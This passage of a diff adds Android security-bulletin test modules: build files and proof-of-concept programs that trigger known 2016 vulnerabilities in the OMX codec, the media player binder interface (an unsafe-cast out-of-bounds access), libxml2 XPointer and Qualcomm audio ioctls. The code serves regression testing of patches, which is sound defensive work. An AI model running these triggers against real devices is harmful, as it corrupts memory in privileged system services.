+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ err = omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nBufferCountActual = BUFFER_COUNT;
+ params->nBufferCountMin = BUFFER_COUNT;
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nSize = paramsSize;
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingMPEG4;
+ params->format.video.eColorFormat = OMX_COLOR_FormatUnused;
+ params->nBufferSize = outBufferSize;
+ /* Set OMX output port parameters */
+ err = omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ IOMX::buffer_id *opBufferId = new IOMX::buffer_id[outBufferCnt];
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; i++) {
+ opBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &opBufferId[i]);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(ipBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(opBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ ret = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Free input and output buffers */
+ for (i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, ipBufferId[i]);
+ }
+ err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+ if (err == TIMED_OUT) {
+ ALOGE("[omxUtils] OMX command timed out for exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ for (i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+ }
+ omxUtilsFreeNode();
+
+ /* Initialize OMX for the specified decoder */
+ ret = omxUtilsInit((char *) "OMX.google.mpeg4.decoder");
+ omxExitOnError(ret);
+ Vector < Buffer > newInputBuffers;
+ Vector < Buffer > newOutputBuffers;
+ inMemSize = MEM_SIZE;
+ outMemSize = VULNERABLE_MEM_SIZE;
+ inBufferCnt = BUFFER_COUNT;
+ outBufferCnt = BUFFER_COUNT;
+ inBufferSize = inMemSize / inBufferCnt;
+ outBufferSize = outMemSize / outBufferCnt;
+ /* Get OMX input port parameters */
+ paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ params = (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(paramsSize);
+ memset(params, 0, paramsSize);
+ err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferCountActual = BUFFER_COUNT;
+ params->nBufferCountMin = BUFFER_COUNT;
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nSize = paramsSize;
+ params->format.video.nFrameWidth = FRAME_WIDTH;
+ params->format.video.nFrameHeight = FRAME_HEIGHT;
+ params->nBufferSize = inBufferSize;
+ /* Set OMX input port parameters */
+ err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ ipBufferId = new IOMX::buffer_id[inBufferCnt];
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; i++) {
+ ipBufferId[i] = newInputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, outputBuffers[i].mHidlMemory,
+ &ipBufferId[i]);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, outputBuffers[i].mHidlMemory,
+ &ipBufferId[i]);
+ }
+ /* Get OMX output port parameters */
+ memset(params, 0, paramsSize);
+ err = omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nBufferCountActual = BUFFER_COUNT;
+ params->nBufferCountMin = BUFFER_COUNT;
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nSize = paramsSize;
+ params->format.video.nFrameWidth = FRAME_WIDTH;
+ params->format.video.nFrameHeight = FRAME_HEIGHT;
+ params->nBufferSize = outBufferSize;
+ /* Set OMX output port parameters */
+ err = omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ opBufferId = new IOMX::buffer_id[outBufferCnt];
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers,
+ outBufferSize);
+ for (i = 0; i < outBufferCnt; i++) {
+ opBufferId[i] = newOutputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mHidlMemory,
+ &opBufferId[i]);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(ipBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(opBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Free input and output buffers */
+ for (i = 0; i < inBufferCnt; i++) {
+ err = omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, ipBufferId[i]);
+ }
+ err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+ if (err == TIMED_OUT) {
+ ALOGE("[omxUtils] OMX command timed out for exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ for (i = 0; i < outBufferCnt; i++) {
+ err = omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+ }
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
new file mode 100644
index 0000000..e21a08e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3913
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libutils \
+ libmedia \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wno-unused-parameter
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
new file mode 100644
index 0000000..5d45862
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
@@ -0,0 +1,167 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/VolumeShaper.h>
+#include <media/mediaplayer.h>
+
+using namespace android;
+using namespace android::media;
+
+class MyMediaPlayer : public BnInterface<IMediaPlayer> {
+ public:
+ status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
+ uint32_t flags = 0) {
+ return OK;
+ }
+ void disconnect() {}
+
+ status_t setDataSource(const sp<IMediaHTTPService> &httpService,
+ const char *url,
+ const KeyedVector<String8, String8> *headers) {
+ return OK;
+ }
+
+ status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }
+
+ status_t setDataSource(const sp<IStreamSource> &source) { return OK; }
+
+ status_t setDataSource(const sp<IDataSource> &source) { return OK; }
+
+ status_t setVideoSurfaceTexture(
+ const sp<IGraphicBufferProducer> &bufferProducer) {
+ return OK;
+ }
+
+ status_t getBufferingSettings(BufferingSettings *buffering) {
+ return OK;
+ }
+
+ status_t setBufferingSettings(const BufferingSettings &buffering) {
+ return OK;
+ }
+
+ status_t prepareAsync() { return OK; }
+
+ status_t start() { return OK; }
+
+ status_t stop() { return OK; }
+
+ status_t pause() { return OK; }
+
+ status_t isPlaying(bool *state) { return OK; }
+
+ status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }
+
+ status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }
+
+ status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
+ return OK;
+ }
+
+ status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }
+
+ status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }
+
+ status_t getCurrentPosition(int *msec) { return OK; }
+
+ status_t getDuration(int *msec) { return OK; }
+
+ status_t notifyAt(int64_t mediaTimeUs) { return OK; }
+
+ status_t reset() { return OK; }
+
+ status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }
+
+ status_t setLooping(int loop) { return OK; }
+
+ status_t setVolume(float leftVolume, float rightVolume) { return OK; }
+
+ status_t setAuxEffectSendLevel(float level) { return OK; }
+
+ status_t attachAuxEffect(int effectId) { return OK; }
+
+ status_t setParameter(int key, const Parcel &request) { return OK; }
+
+ status_t getParameter(int key, Parcel *reply) { return OK; }
+
+ status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
+ return OK;
+ }
+
+ status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }
+
+ status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }
+
+ VolumeShaper::Status applyVolumeShaper(
+ const sp<VolumeShaper::Configuration> &configuration,
+ const sp<VolumeShaper::Operation> &operation) {
+ return (VolumeShaper::Status)OK;
+ }
+ sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }
+
+ status_t prepareDrm(const uint8_t uuid[16],
+ const Vector<uint8_t> &drmSessionId) {
+ return OK;
+ }
+
+ status_t releaseDrm() { return OK; }
+
+ status_t invoke(const Parcel &request, Parcel *reply) { return OK; }
+
+ status_t setMetadataFilter(const Parcel &request) { return OK; }
+
+ status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
+ return OK;
+ }
+
+ status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }
+
+ status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }
+
+ status_t enableAudioDeviceCallback(bool enabled) { return OK; }
+};
+
+int main() {
+ sp<IBinder> binder =
+ defaultServiceManager()->getService(String16("media.player"));
+ sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+ sp<IMediaPlayer> player = service->create(
+ new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);
+
+ if (player == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
+ if (localPlayer == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ // set the data source to initialize mPlayer
+ player->setDataSource(NULL, "file:///test", NULL);
+
+ // Set the next player to a local instance of BnMediaPlayer.
+ // The remote side will construct a BpMediaPlayer object, and then
+ // unsafely cast it to a MediaPlayerService::Client.
+ // This will an out-of-bounds access on class members.
+ player->setNextPlayer(localPlayer);
+
+ return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk
new file mode 100644
index 0000000..93a66b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-4658
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wall -Werror -fPIC -DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192 \
+ -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c
new file mode 100644
index 0000000..e6aa6eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <libxml/parser.h>
+#include <libxml/xpath.h>
+#include <libxml/xpointer.h>
+#include <libxml/xpathInternals.h>
+
+int main(int argc, char **argv) {
+#if defined(LIBXML_XPATH_ENABLED) && defined(LIBXML_XPTR_ENABLED)
+ if(argc > 2) {
+ xmlDocPtr doc;
+ xmlXPathContextPtr xpathCtx;
+ xmlInitParser();
+ /* Load XML document */
+ doc = xmlReadFile(argv[1], NULL, 0);
+ if (doc) {
+ /* Create xpath evaluation context */
+ xpathCtx = (xmlXPathContextPtr)
+ xmlXPtrNewContext(doc, (xmlNode *)NULL, (xmlNode *)NULL);
+ if(xpathCtx) {
+ xmlXPathParserContextPtr pctxt =
+ xmlXPathNewParserContext((xmlChar *)argv[2],
+ xpathCtx);
+ if(pctxt) {
+ xmlXPathEvalExpr(pctxt);
+ xmlXPathFreeContext(xpathCtx);
+ }
+ xmlFreeDoc(doc);
+ }
+ xmlCleanupParser();
+ }
+ }
+#endif
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk
new file mode 100644
index 0000000..d582038
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-5131
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wall -Werror -fPIC -DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192 \
+ -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c
new file mode 100644
index 0000000..e6aa6eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <libxml/parser.h>
+#include <libxml/xpath.h>
+#include <libxml/xpointer.h>
+#include <libxml/xpathInternals.h>
+
+int main(int argc, char **argv) {
+#if defined(LIBXML_XPATH_ENABLED) && defined(LIBXML_XPTR_ENABLED)
+ if(argc > 2) {
+ xmlDocPtr doc;
+ xmlXPathContextPtr xpathCtx;
+ xmlInitParser();
+ /* Load XML document */
+ doc = xmlReadFile(argv[1], NULL, 0);
+ if (doc) {
+ /* Create xpath evaluation context */
+ xpathCtx = (xmlXPathContextPtr)
+ xmlXPtrNewContext(doc, (xmlNode *)NULL, (xmlNode *)NULL);
+ if(xpathCtx) {
+ xmlXPathParserContextPtr pctxt =
+ xmlXPathNewParserContext((xmlChar *)argv[2],
+ xpathCtx);
+ if(pctxt) {
+ xmlXPathEvalExpr(pctxt);
+ xmlXPathFreeContext(xpathCtx);
+ }
+ xmlFreeDoc(doc);
+ }
+ xmlCleanupParser();
+ }
+ }
+#endif
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
new file mode 100644
index 0000000..ecb3722
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5862
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
new file mode 100644
index 0000000..b5386e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5862
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define SPEAKER "Speaker Function"
+#define NUM_BLOCKS 16384
+
+unsigned int get_speakerid(int fd) {
+ unsigned int i;
+ int ret = -1;
+ unsigned int id = 0;
+ struct snd_ctl_elem_list lst;
+ memset(&lst, 0, sizeof(lst));
+ lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+ lst.space = NUM_BLOCKS;
+ ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+ if (ret < 0) {
+ return 0;
+ }
+ for (i = 0; i < lst.count; i++) {
+ if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
+ (sizeof(SPEAKER) - 1))) {
+ id = lst.pids[i].numid;
+ break;
+ }
+ }
+ free(lst.pids);
+ return id;
+}
+
+int main(){
+ int fd = -1;
+ struct snd_ctl_elem_value control;
+ fd = open("/dev/snd/controlC0", O_RDWR);
+ if(fd < 0) {
+ return EXIT_FAILURE;
+ }
+ memset(&control, 0, sizeof(control));
+ control.id.numid = get_speakerid(fd);
+ if(control.id.numid == 0) {
+ close(fd);
+ return EXIT_FAILURE;
+ }
+ ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+ close(fd);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
new file mode 100644
index 0000000..d255bf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5867
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
new file mode 100644
index 0000000..3b8771f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5867
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define DOLBY_SET_PARAM "DS1 DAP Set Param"
+#define NUM_BLOCKS 16384
+#define DOLBY_PARAM_ID_VDHE 0x0001074D
+#define TOTAL_LENGTH_DOLBY_PARAM 745
+
+unsigned int get_doblycontrolid(int fd) {
+ unsigned int i;
+ int ret = -1;
+ unsigned int id = 0;
+ struct snd_ctl_elem_list lst;
+ memset(&lst, 0, sizeof(lst));
+ lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+ lst.space = NUM_BLOCKS;
+ ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+ if (ret < 0) {
+ return 0;
+ }
+ for (i = 0; i < lst.count; i++) {
+ if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
+ (sizeof(DOLBY_SET_PARAM) - 1))) {
+ id = lst.pids[i].numid;
+ break;
+ }
+ }
+ free(lst.pids);
+ return id;
+}
+
+int main(){
+ int fd = -1;
+ struct snd_ctl_elem_value control;
+ int ret;
+ fd = open("/dev/snd/controlC0", O_RDWR);
+ if(fd < 0) {
+ return EXIT_FAILURE;
+ }
+ memset(&control, 0, sizeof(control));
+ control.id.numid = get_doblycontrolid(fd);
+ if(control.id.numid) {
+ control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
+ control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
+ ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
+ if(ret == 0) {
+ close(fd);
+ return EXIT_VULNERABLE;
+ }
+ }
+ close(fd);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk
new file mode 100644
index 0000000..6b74720
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-8332
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../../../../../external/pdfium/third_party/libopenjpeg20/openjpeg.c
+LOCAL_SRC_FILES += ../../../../../external/pdfium/third_party/libopenjpeg20/cio.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
